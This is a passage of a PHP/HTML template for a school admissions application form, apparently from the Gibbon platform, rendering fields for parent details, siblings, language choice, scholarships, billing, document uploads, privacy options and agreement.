<option value="F"><?php print _('Female') ?></option>
<option value="M"><?php print _('Male') ?></option>
</select>
<script type="text/javascript">
var <?php print "parent$i" ?>gender=new LiveValidation('<?php print "parent$i" ?>gender');
<?php print "parent$i" ?>gender.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Relationship') ?> *</b><br/>
</td>
<td class="right">
<select name="<?php print "parent$i" ?>relationship" id="<?php print "parent$i" ?>relationship" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="Mother"><?php print _('Mother') ?></option>
<option value="Father"><?php print _('Father') ?></option>
<option value="Step-Mother"><?php print _('Step-Mother') ?></option>
<option value="Step-Father"><?php print _('Step-Father') ?></option>
<option value="Adoptive Parent"><?php print _('Adoptive Parent') ?></option>
<option value="Guardian"><?php print _('Guardian') ?></option>
<option value="Grandmother"><?php print _('Grandmother') ?></option>
<option value="Grandfather"><?php print _('Grandfather') ?></option>
<option value="Aunt"><?php print _('Aunt') ?></option>
<option value="Uncle"><?php print _('Uncle') ?></option>
<option value="Nanny/Helper"><?php print _('Nanny/Helper') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
<script type="text/javascript">
var <?php print "parent$i" ?>relationship=new LiveValidation('<?php print "parent$i" ?>relationship');
<?php print "parent$i" ?>relationship.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Personal Background') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('First Language') ?></b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>languageFirst" id="<?php print "parent$i" ?>languageFirst" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageFirst FROM <API key> ORDER BY languageFirst" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageFirst"] . "\", " ;
}
?>
];
$( "#<?php print 'parent' . $i ?>languageFirst" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Second Language') ?></b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>languageSecond" id="<?php print "parent$i" ?>languageSecond" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageSecond FROM <API key> ORDER BY languageSecond" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageSecond"] . "\", " ;
}
?>
];
$( "#<?php print 'parent' . $i ?>languageSecond" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Citizenship') ?></b><br/>
</td>
<td class="right">
<select name="<?php print "parent$i" ?>citizenship1" id="<?php print "parent$i" ?>citizenship1" style="width: 302px">
<?php
print "<option value=''></option>" ;
$nationalityList=getSettingByScope($connection2, "User Admin", "nationality") ;
if ($nationalityList=="") {
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
}
else {
$nationalities=explode(",", $nationalityList) ;
foreach ($nationalities as $nationality) {
print "<option value='" . trim($nationality) . "'>" . trim($nationality) . "</option>" ;
}
}
?>
</select>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('National ID Card Number') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('ID Card Number') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<input name="<?php print "parent$i" ?><API key>" id="<?php print "parent$i" ?><API key>" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Residency/Visa Type') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Residency/Visa Type') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<?php
$residencyStatusList=getSettingByScope($connection2, "User Admin", "residencyStatus") ;
if ($residencyStatusList=="") {
print "<input name='parent" . $i . "residencyStatus' id='parent" . $i . "residencyStatus' maxlength=30 type='text' style='width: 300px'>" ;
}
else {
print "<select name='parent" . $i . "residencyStatus' id='parent" . $i . "residencyStatus' style='width: 302px'>" ;
print "<option value=''></option>" ;
$residencyStatuses=explode(",", $residencyStatusList) ;
foreach ($residencyStatuses as $residencyStatus) {
$selected="" ;
if (trim($residencyStatus)==$row["parent" . $i . "residencyStatus"]) {
$selected="selected" ;
}
print "<option $selected value='" . trim($residencyStatus) . "'>" . trim($residencyStatus) . "</option>" ;
}
print "</select>" ;
}
?>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Visa Expiry Date') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Visa Expiry Date') . "</b><br/>" ;
}
print "<span style='font-size: 90%'><i>" . _('Format:') . " " ; if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; } print ". " . _('If relevant.') . "</i></span>" ;
?>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>visaExpiryDate" id="<?php print "parent$i" ?>visaExpiryDate" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>visaExpiryDate=new LiveValidation('<?php print "parent$i" ?>visaExpiryDate');
<?php print "parent$i" ?>visaExpiryDate.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
</script>
<script type="text/javascript">
$(function() {
$( "#<?php print "parent$i" ?>visaExpiryDate" ).datepicker();
});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Contact') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Email') ?> *</b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>email" id="<?php print "parent$i" ?>email" maxlength=50 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>email=new LiveValidation('<?php print "parent$i" ?>email');
<?php
print "parent$i" . "email.add(Validate.Email);";
print "parent$i" . "email.add(Validate.Presence);" ;
?>
</script>
</td>
</tr>
<?php
for ($y=1; $y<3; $y++) {
?>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Phone') ?> <?php print $y ; if ($y==1) { print " *" ;}?></b><br/>
<span style="font-size: 90%"><i><?php print _('Type, country code, number.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>phone<?php print $y ?>" id="<?php print "parent$i" ?>phone<?php print $y ?>" maxlength=20 value="" type="text" style="width: 160px">
<?php
if ($y==1) {
?>
<script type="text/javascript">
var <?php print "parent$i" ?>phone<?php print $y ?>=new LiveValidation('<?php print "parent$i" ?>phone<?php print $y ?>');
<?php print "parent$i" ?>phone<?php print $y ?>.add(Validate.Presence);
</script>
<?php
}
?>
<select name="<?php print "parent$i" ?>phone<?php print $y ?>CountryCode" id="<?php print "parent$i" ?>phone<?php print $y ?>CountryCode" style="width: 60px">
<?php
print "<option value=''></option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["iddCountryCode"] . "'>" . htmlPrep($rowSelect["iddCountryCode"]) . " - " . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
<select style="width: 70px" name="<?php print "parent$i" ?>phone<?php print $y ?>Type">
<option value=""></option>
<option value="Mobile"><?php print _('Mobile') ?></option>
<option value="Home"><?php print _('Home') ?></option>
<option value="Work"><?php print _('Work') ?></option>
<option value="Fax"><?php print _('Fax') ?></option>
<option value="Pager"><?php print _('Pager') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
</td>
</tr>
<?php
}
?>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Employment') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Profession') ?> *</b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>profession" id="<?php print "parent$i" ?>profession" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>profession=new LiveValidation('<?php print "parent$i" ?>profession');
<?php print "parent$i" ?>profession.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Employer') ?></b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>employer" id="<?php print "parent$i" ?>employer" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<?php
}
}
else {
?>
<input type="hidden" name="gibbonFamily" value="TRUE">
<tr class='break'>
<td colspan=2>
<h3><?php print _('Family') ?></h3>
<p><?php print _('Choose the family you wish to associate this application with.') ?></p>
<?php
print "<table cellspacing='0' style='width: 100%'>" ;
print "<tr class='head'>" ;
print "<th>" ;
print _("Family Name") ;
print "</th>" ;
print "<th>" ;
print _("Selected") ;
print "</th>" ;
print "<th>" ;
print _("Relationships") ;
print "</th>" ;
print "</tr>" ;
$rowCount=1 ;
while ($rowSelect=$resultSelect->fetch()) {
if (($rowCount%2)==0) {
$rowNum="odd" ;
}
else {
$rowNum="even" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<b>" . $rowSelect["name"] . "</b><br/>" ;
print "</td>" ;
print "<td>" ;
$checked="" ;
if ($rowCount==1) {
$checked="checked" ;
}
print "<input $checked value='" . $rowSelect["gibbonFamilyID"] . "' name='gibbonFamilyID' type='radio'/>" ;
print "</td>" ;
print "<td>" ;
try {
$dataRelationships=array("gibbonFamilyID"=>$rowSelect["gibbonFamilyID"]);
$sqlRelationships="SELECT surname, preferredName, title, gender, gibbonFamilyAdult.gibbonPersonID FROM gibbonFamilyAdult JOIN gibbonPerson ON (gibbonFamilyAdult.gibbonPersonID=gibbonPerson.gibbonPersonID) WHERE gibbonFamilyID=:gibbonFamilyID" ;
$resultRelationships=$connection2->prepare($sqlRelationships);
$resultRelationships->execute($dataRelationships);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowRelationships=$resultRelationships->fetch()) {
print "<div style='width: 100%'>" ;
print formatName($rowRelationships["title"], $rowRelationships["preferredName"], $rowRelationships["surname"], "Parent") ;
?>
<select name="<?php print $rowSelect["gibbonFamilyID"] ?>-relationships[]" id="relationships[]" style="width: 200px">
<option <?php if ($rowRelationships["gender"]=="F") { print "selected" ; } ?> value="Mother"><?php print _('Mother') ?></option>
<option <?php if ($rowRelationships["gender"]=="M") { print "selected" ; } ?> value="Father"><?php print _('Father') ?></option>
<option value="Step-Mother"><?php print _('Step-Mother') ?></option>
<option value="Step-Father"><?php print _('Step-Father') ?></option>
<option value="Adoptive Parent"><?php print _('Adoptive Parent') ?></option>
<option value="Guardian"><?php print _('Guardian') ?></option>
<option value="Grandmother"><?php print _('Grandmother') ?></option>
<option value="Grandfather"><?php print _('Grandfather') ?></option>
<option value="Aunt"><?php print _('Aunt') ?></option>
<option value="Uncle"><?php print _('Uncle') ?></option>
<option value="Nanny/Helper"><?php print _('Nanny/Helper') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
<input type="hidden" name="<?php print $rowSelect["gibbonFamilyID"] ?>-<API key>[]" value="<?php print $rowRelationships["gibbonPersonID"] ?>">
<?php
print "</div>" ;
print "<br/>" ;
}
print "</td>" ;
print "</tr>" ;
$rowCount++ ;
}
print "</table>" ;
?>
</td>
</tr>
<?php
}
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Siblings') ?></h3>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 0px'>
<p><?php print _('Please give information on the applicants\'s siblings.') ?></p>
</td>
</tr>
<tr>
<td colspan=2>
<?php
print "<table cellspacing='0' style='width: 100%'>" ;
print "<tr class='head'>" ;
print "<th>" ;
print _("Sibling Name") ;
print "</th>" ;
print "<th>" ;
print _("Date of Birth") . "<br/><span style='font-size: 80%'>" . $_SESSION[$guid]["i18n"]["dateFormat"] . "</span>" ;
print "</th>" ;
print "<th>" ;
print _("School Attending") ;
print "</th>" ;
print "<th>" ;
print _("Joining Date") . "<br/><span style='font-size: 80%'>" . $_SESSION[$guid]["i18n"]["dateFormat"] . "</span>" ;
print "</th>" ;
print "</tr>" ;
$rowCount=1 ;
//List siblings who have been to or are at the school
if (isset($gibbonFamilyID)) {
try {
$dataSibling=array("gibbonFamilyID"=>$gibbonFamilyID);
$sqlSibling="SELECT surname, preferredName, dob, dateStart FROM gibbonFamilyChild JOIN gibbonPerson ON (gibbonFamilyChild.gibbonPersonID=gibbonPerson.gibbonPersonID) WHERE gibbonFamilyID=:gibbonFamilyID ORDER BY dob ASC, surname, preferredName" ;
$resultSibling=$connection2->prepare($sqlSibling);
$resultSibling->execute($dataSibling);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowSibling=$resultSibling->fetch()) {
if (($rowCount%2)==0) {
$rowNum="odd" ;
}
else {
$rowNum="even" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<input name='siblingName$rowCount' id='siblingName$rowCount' maxlength=50 value='" . formatName("", $rowSibling["preferredName"], $rowSibling["surname"], "Student") . "' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "siblingDOB$rowCount" ?>" id="<?php print "siblingDOB$rowCount" ?>" maxlength=10 value="<?php print dateConvertBack($guid, $rowSibling["dob"]) ?>" type="text" style="width:90px; float: left"><br/>
<script type="text/javascript">
$(function() {
$( "#<?php print "siblingDOB$rowCount" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "<td>" ;
print "<input name='siblingSchool$rowCount' id='siblingSchool$rowCount' maxlength=50 value='" . $_SESSION[$guid]["organisationName"] . "' type='text' style='width:200px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "<API key>$rowCount" ?>" id="<?php print "<API key>$rowCount" ?>" maxlength=10 value="<?php print dateConvertBack($guid, $rowSibling["dateStart"]) ?>" type="text" style="width:90px; float: left">
<script type="text/javascript">
$(function() {
$( "#<?php print "<API key>$rowCount" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "</tr>" ;
$rowCount++ ;
}
}
//Space for other siblings
for ($i=$rowCount; $i<4; $i++) {
if (($i%2)==0) {
$rowNum="even" ;
}
else {
$rowNum="odd" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<input name='siblingName$i' id='siblingName$i' maxlength=50 value='' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "siblingDOB$i" ?>" id="<?php print "siblingDOB$i" ?>" maxlength=10 value="" type="text" style="width:90px; float: left"><br/>
<script type="text/javascript">
$(function() {
$( "#<?php print "siblingDOB$i" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "<td>" ;
print "<input name='siblingSchool$i' id='siblingSchool$i' maxlength=50 value='' type='text' style='width:200px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "<API key>$i" ?>" id="<?php print "<API key>$i" ?>" maxlength=10 value="" type="text" style="width:120px; float: left">
<script type="text/javascript">
$(function() {
$( "#<?php print "<API key>$i" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "</tr>" ;
}
print "</table>" ;
?>
</td>
</tr>
<?php
$<API key>=getSettingByScope($connection2, 'Application Form', '<API key>') ;
if ($<API key>=="On") {
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Language Selection') ?></h3>
<?php
$<API key>=getSettingByScope($connection2, 'Application Form', '<API key>') ;
if ($<API key>!="") {
print "<p>" ;
print $<API key> ;
print "</p>" ;
}
?>
</td>
</tr>
<tr>
<td>
<b><?php print _('Language Choice') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Please choose preferred additional language to study.') ?></i></span>
</td>
<td class="right">
<select name="languageChoice" id="languageChoice" style="width: 302px">
<?php
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
$<API key>=getSettingByScope($connection2, "Application Form", "<API key>") ;
$languages=explode(",", $<API key>) ;
foreach ($languages as $language) {
print "<option value='" . trim($language) . "'>" . trim($language) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var languageChoice=new LiveValidation('languageChoice');
languageChoice.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 15px'>
<b><?php print _('Language Choice Experience') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Has the applicant studied the selected language before? If so, please describe the level and type of experience.') ?></i></span><br/>
<textarea name="<API key>" id="<API key>" rows=5 style="width:738px; margin: 5px 0px 0px 0px"></textarea>
<script type="text/javascript">
var <API key>=new LiveValidation('<API key>');
<API key>.add(Validate.Presence);
</script>
</td>
</tr>
<?php
}
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Scholarships') ?></h3>
<?php
//Get scholarships info
$scholarship=getSettingByScope($connection2, 'Application Form', 'scholarships') ;
if ($scholarship!="") {
print "<p>" ;
print $scholarship ;
print "</p>" ;
}
?>
</td>
</tr>
<tr>
<td>
<b><?php print _('Interest') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Indicate if you are interested in a scholarship.') ?></i></span><br/>
</td>
<td class="right">
<input type="radio" id="scholarshipInterest" name="scholarshipInterest" class="type" value="Y" /> Yes
<input checked type="radio" id="scholarshipInterest" name="scholarshipInterest" class="type" value="N" /> No
</td>
</tr>
<tr>
<td>
<b><?php print _('Required?') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Is a scholarship required for you to take up a place at the school?') ?></i></span><br/>
</td>
<td class="right">
<input type="radio" id="scholarshipRequired" name="scholarshipRequired" class="type" value="Y" /> Yes
<input checked type="radio" id="scholarshipRequired" name="scholarshipRequired" class="type" value="N" /> No
</td>
</tr>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Payment') ?></h3>
</td>
</tr>
<script type="text/javascript">
/* Resource 1 Option Control */
$(document).ready(function(){
$("#companyNameRow").css("display","none");
$("#companyContactRow").css("display","none");
$("#companyAddressRow").css("display","none");
$("#companyEmailRow").css("display","none");
$("#companyCCFamilyRow").css("display","none");
$("#companyPhoneRow").css("display","none");
$("#companyAllRow").css("display","none");
$("#<API key>").css("display","none");
$(".payment").click(function(){
if ($('input[name=payment]:checked').val()=="Family" ) {
$("#companyNameRow").css("display","none");
$("#companyContactRow").css("display","none");
$("#companyAddressRow").css("display","none");
$("#companyEmailRow").css("display","none");
$("#companyCCFamilyRow").css("display","none");
$("#companyPhoneRow").css("display","none");
$("#companyAllRow").css("display","none");
$("#<API key>").css("display","none");
} else {
$("#companyNameRow").slideDown("fast", $("#companyNameRow").css("display","table-row"));
$("#companyContactRow").slideDown("fast", $("#companyContactRow").css("display","table-row"));
$("#companyAddressRow").slideDown("fast", $("#companyAddressRow").css("display","table-row"));
$("#companyEmailRow").slideDown("fast", $("#companyEmailRow").css("display","table-row"));
$("#companyCCFamilyRow").slideDown("fast", $("#companyCCFamilyRow").css("display","table-row"));
$("#companyPhoneRow").slideDown("fast", $("#companyPhoneRow").css("display","table-row"));
$("#companyAllRow").slideDown("fast", $("#companyAllRow").css("display","table-row"));
if ($('input[name=companyAll]:checked').val()=="N" ) {
$("#<API key>").slideDown("fast", $("#<API key>").css("display","table-row"));
}
}
});
$(".companyAll").click(function(){
if ($('input[name=companyAll]:checked').val()=="Y" ) {
$("#<API key>").css("display","none");
} else {
$("#<API key>").slideDown("fast", $("#<API key>").css("display","table-row"));
}
});
});
</script>
<tr id="familyRow">
<td colspan=2>
<p><?php print _('If you choose family, future invoices will be sent according to your family\'s contact preferences, which can be changed at a later date by contacting the school. For example you may wish both parents to receive the invoice, or only one. Alternatively, if you choose Company, you can choose for all or only some fees to be covered by the specified company.') ?></p>
</td>
</tr>
<tr>
<td>
<b><?php print _('Send Future Invoices To') ?></b><br/>
</td>
<td class="right">
<input type="radio" name="payment" value="Family" class="payment" checked /> Family
<input type="radio" name="payment" value="Company" class="payment" /> Company
</td>
</tr>
<tr id="companyNameRow">
<td>
<b><?php print _('Company Name') ?></b><br/>
</td>
<td class="right">
<input name="companyName" id="companyName" maxlength=100 value="" type="text" style="width: 300px">
</td>
</tr>
<tr id="companyContactRow">
<td>
<b><?php print _('Company Contact Person') ?></b><br/>
</td>
<td class="right">
<input name="companyContact" id="companyContact" maxlength=100 value="" type="text" style="width: 300px">
</td>
</tr>
<tr id="companyAddressRow">
<td>
<b><?php print _('Company Address') ?></b><br/>
</td>
<td class="right">
<input name="companyAddress" id="companyAddress" maxlength=255 value="" type="text" style="width: 300px">
</td>
</tr>
<tr id="companyEmailRow">
<td>
<b><?php print _('Company Email') ?></b><br/>
</td>
<td class="right">
<input name="companyEmail" id="companyEmail" maxlength=255 value="" type="text" style="width: 300px">
<script type="text/javascript">
var companyEmail=new LiveValidation('companyEmail');
companyEmail.add(Validate.Email);
</script>
</td>
</tr>
<tr id="companyCCFamilyRow">
<td>
<b><?php print _('CC Family?') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Should the family be sent a copy of billing emails?') ?></i></span>
</td>
<td class="right">
<select name="companyCCFamily" id="companyCCFamily" style="width: 302px">
<option value="N" /> <?php print _('No') ?>
<option value="Y" /> <?php print _('Yes') ?>
</select>
</td>
</tr>
<tr id="companyPhoneRow">
<td>
<b><?php print _('Company Phone') ?></b><br/>
</td>
<td class="right">
<input name="companyPhone" id="companyPhone" maxlength=20 value="" type="text" style="width: 300px">
</td>
</tr>
<?php
try {
$dataCat=array();
$sqlCat="SELECT * FROM <API key> WHERE active='Y' AND NOT <API key>=1 ORDER BY name" ;
$resultCat=$connection2->prepare($sqlCat);
$resultCat->execute($dataCat);
}
catch(PDOException $e) { }
if ($resultCat->rowCount()<1) {
print "<input type=\"hidden\" name=\"companyAll\" value=\"Y\" class=\"companyAll\"/>" ;
}
else {
?>
<tr id="companyAllRow">
<td>
<b><?php print _('Company All?') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Should all items be billed to the specified company, or just some?') ?></i></span>
</td>
<td class="right">
<input type="radio" name="companyAll" value="Y" class="companyAll" checked /> <?php print _('All') ?>
<input type="radio" name="companyAll" value="N" class="companyAll" /> <?php print _('Selected') ?>
</td>
</tr>
<tr id="<API key>">
<td>
<b><?php print _('Company Fee Categories') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('If the specified company is not paying all fees, which categories are they paying?') ?></i></span>
</td>
<td class="right">
<?php
while ($rowCat=$resultCat->fetch()) {
print $rowCat["name"] . " <input type='checkbox' name='<API key>[]' value='" . $rowCat["<API key>"] . "'/><br/>" ;
}
print _("Other") . " <input type='checkbox' name='<API key>[]' value='0001'/><br/>" ;
?>
</td>
</tr>
<?php
}
$requiredDocuments=getSettingByScope($connection2, "Application Form", "requiredDocuments") ;
$<API key>=getSettingByScope($connection2, "Application Form", "<API key>") ;
$<API key>=getSettingByScope($connection2, "Application Form", "<API key>") ;
if ($requiredDocuments!="" AND $requiredDocuments!=FALSE) {
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Supporting Documents') ?></h3>
<?php
if ($<API key>!="" OR $<API key>!="") {
print "<p>" ;
print $<API key> . " " ;
if ($<API key>=="Y") {
print _("These documents must all be included before the application can be submitted.") ;
}
else {
print _("These documents are all required, but can be submitted separately to this form if preferred. Please note, however, that your application will be processed faster if the documents are included here.") ;
}
print "</p>" ;
}
?>
</td>
</tr>
<?php
//Get list of acceptable file extensions
try {
$dataExt=array();
$sqlExt="SELECT * FROM gibbonFileExtension" ;
$resultExt=$connection2->prepare($sqlExt);
$resultExt->execute($dataExt);
}
catch(PDOException $e) { }
$ext="" ;
while ($rowExt=$resultExt->fetch()) {
$ext=$ext . "'." . $rowExt["extension"] . "'," ;
}
$<API key>=explode(",", $requiredDocuments) ;
$count=0 ;
foreach ($<API key> AS $document) {
?>
<tr>
<td>
<b><?php print $document ; if ($<API key>=="Y") { print " *" ; } ?></b><br/>
</td>
<td class="right">
<?php
print "<input type='file' name='file$count' id='file$count'><br/>" ;
print "<input type='hidden' name='fileName$count' id='filefileName$count' value='$document'>" ;
if ($<API key>=="Y") {
print "<script type='text/javascript'>" ;
print "var file$count=new LiveValidation('file$count');" ;
print "file$count.add( Validate.Inclusion, { within: [" . $ext . "], failureMessage: 'Illegal file type!', partialMatch: true, caseSensitive: false } );" ;
print "file$count.add(Validate.Presence);" ;
print "</script>" ;
}
$count++ ;
?>
</td>
</tr>
<?php
}
?>
<tr>
<td colspan=2>
<?php print getMaxUpload() ; ?>
<input type="hidden" name="fileCount" value="<?php print $count ?>">
</td>
</tr>
<?php
}
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Miscellaneous') ?></h3>
</td>
</tr>
<tr>
<td>
<b><?php print _('How Did You Hear About Us?') ?> *</b><br/>
</td>
<td class="right">
<?php
$howDidYouHearList=getSettingByScope($connection2, "Application Form", "howDidYouHear") ;
if ($howDidYouHearList=="") {
print "<input name='howDidYouHear' id='howDidYouHear' maxlength=30 value='" . $row["howDidYouHear"] . "' type='text' style='width: 300px'>" ;
}
else {
print "<select name='howDidYouHear' id='howDidYouHear' style='width: 302px'>" ;
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
$howDidYouHears=explode(",", $howDidYouHearList) ;
foreach ($howDidYouHears as $howDidYouHear) {
print "<option value='" . trim($howDidYouHear) . "'>" . trim($howDidYouHear) . "</option>" ;
}
print "</select>" ;
?>
<script type="text/javascript">
var howDidYouHear=new LiveValidation('howDidYouHear');
howDidYouHear.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
<?php
}
?>
</td>
</tr>
<script type="text/javascript">
$(document).ready(function(){
$("#howDidYouHear").change(function(){
if ($('#howDidYouHear option:selected').val()=="Please select..." ) {
$("#tellUsMoreRow").css("display","none");
}
else {
$("#tellUsMoreRow").slideDown("fast", $("#tellUsMoreRow").css("display","table-row"));
}
});
});
</script>
<tr id="tellUsMoreRow" style='display: none'>
<td>
<b><?php print _('Tell Us More') ?> </b><br/>
<span style="font-size: 90%"><i><?php print _('The name of a person or link to a website, etc.') ?></i></span>
</td>
<td class="right">
<input name="howDidYouHearMore" id="howDidYouHearMore" maxlength=255 value="" type="text" style="width: 300px">
</td>
</tr>
<?php
$privacySetting=getSettingByScope( $connection2, "User Admin", "privacy" ) ;
$privacyBlurb=getSettingByScope( $connection2, "User Admin", "privacyBlurb" ) ;
$privacyOptions=getSettingByScope( $connection2, "User Admin", "privacyOptions" ) ;
if ($privacySetting=="Y" AND $privacyBlurb!="" AND $privacyOptions!="") {
?>
<tr>
<td>
<b><?php print _('Privacy') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print htmlPrep($privacyBlurb) ?><br/>
</i></span>
</td>
<td class="right">
<?php
$options=explode(",",$privacyOptions) ;
foreach ($options AS $option) {
print $option . " <input type='checkbox' name='privacyOptions[]' value='" . htmlPrep($option) . "'/><br/>" ;
}
?>
</td>
</tr>
<?php
}
//Get agreement
$agreement=getSettingByScope($connection2, 'Application Form', 'agreement') ;
if ($agreement!="") {
print "<tr class='break'>" ;
print "<td colspan=2>" ;
print "<h3>" ;
print _("Agreement") ;
print "</h3>" ;
print "<p>" ;
print $agreement ;
print "</p>" ;
print "</td>" ;
print "</tr>" ;
print "<tr>" ;
print "<td>" ;
print "<b>" . _('Do you agree to the above?') . "</b><br/>" ;
print "</td>" ;
print "<td class='right'>" ;
print "Yes <input type='checkbox' name='agreement' id='agreement'>" ;
?>
